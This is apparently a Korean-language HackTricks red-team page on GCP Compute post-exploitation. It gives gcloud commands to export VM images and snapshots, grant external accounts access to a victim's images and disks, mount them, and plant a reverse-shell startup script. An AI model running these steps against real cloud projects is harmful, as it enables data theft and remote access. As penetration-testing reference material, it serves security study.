GCP - Compute Post Exploitation

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Compute

Compute 및 VPC (네트워킹)에 대한 자세한 정보는 다음을 확인하세요:

GCP - Compute Enum

이미지를 로컬로 내보내고 검사하기

이것은 공격자가 이미 존재하는 이미지에 포함된 데이터에 접근하거나 실행 중인 VM의 새로운 이미지를 생성하고 실행 중인 VM에 접근하지 않고도 그들의 데이터에 접근할 수 있게 합니다.

VM 이미지를 버킷으로 내보낸 다음, 다음 명령어로 다운로드하고 로컬에 마운트할 수 있습니다:

bash
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

공격자가 이 작업을 수행하기 위해서는 스토리지 버킷에 대한 권한이 필요할 수 있으며, export를 수행할 요청을 받을 서비스cloudbuild에 대한 권한도 필요합니다.
또한, 이를 위해 codebuild SA와 compute SA는 특권 권한이 필요합니다.
cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com는 다음이 필요합니다:

  • roles/iam.serviceAccountTokenCreator
  • roles/compute.admin
  • roles/iam.serviceAccountUser

그리고 SA <project-id>-compute@developer.gserviceaccount.com는 다음이 필요합니다:

  • roles/compute.storageAdmin
  • roles/storage.objectAdmin

로컬에서 스냅샷 및 디스크 내보내기 및 검사

스냅샷과 디스크를 직접 내보내는 것은 불가능하지만, 스냅샷을 디스크로, 디스크를 이미지로 변환하고 이전 섹션에 따라 해당 이미지를 내보내어 로컬에서 검사하는 것은 가능합니다.

bash
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

VM 생성 시 이미지 검사

이미지에 저장된 데이터 또는 공격자가 이미지를 생성한 실행 중인 VM 내부에 접근하는 것을 목표로 하여, 외부 계정이 이미지에 접근할 수 있도록 권한을 부여하는 것이 가능합니다:

bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

그런 다음 이를 기반으로 새 VM을 생성합니다:

bash
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

이미지에 대한 외부 계정 액세스를 제공할 수 없는 경우, 피해자의 프로젝트에서 해당 이미지를 사용하여 VM을 시작하고 메타데이터가 리버스 셸을 실행하도록 만들 수 있습니다. 매개변수를 추가하여:

bash
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

VM에 스냅샷/디스크 연결 검사

디스크나 스냅샷에 저장된 데이터에 접근하는 것을 목표로, 스냅샷을 디스크로, 디스크를 이미지로 변환하고 이전 단계를 따를 수 있습니다.

또는 외부 계정에 디스크에 대한 접근 권한을 부여할 수 있습니다 (시작점이 스냅샷인 경우 스냅샷에 대한 접근 권한을 부여하거나 그로부터 디스크를 생성합니다):

bash
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

인스턴스에 디스크 연결:

bash
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

VM 내부에 디스크를 마운트합니다:

  1. VM에 SSH 접속:
sh
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. 디스크 식별: VM 내부에 들어가면 디스크 장치를 나열하여 새 디스크를 식별합니다. 일반적으로 /dev/sdb, /dev/sdc 등으로 찾을 수 있습니다.
  2. 디스크 포맷 및 마운트 (새 디스크 또는 원시 디스크인 경우):
  • 마운트 포인트 생성:
sh
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • 디스크 마운트:
sh
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

스냅샷 또는 디스크에 외부 프로젝트에 대한 액세스를 제공할 수 없는 경우, 스냅샷/디스크와 동일한 프로젝트 내의 인스턴스에서 이러한 작업을 수행해야 할 수 있습니다.

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기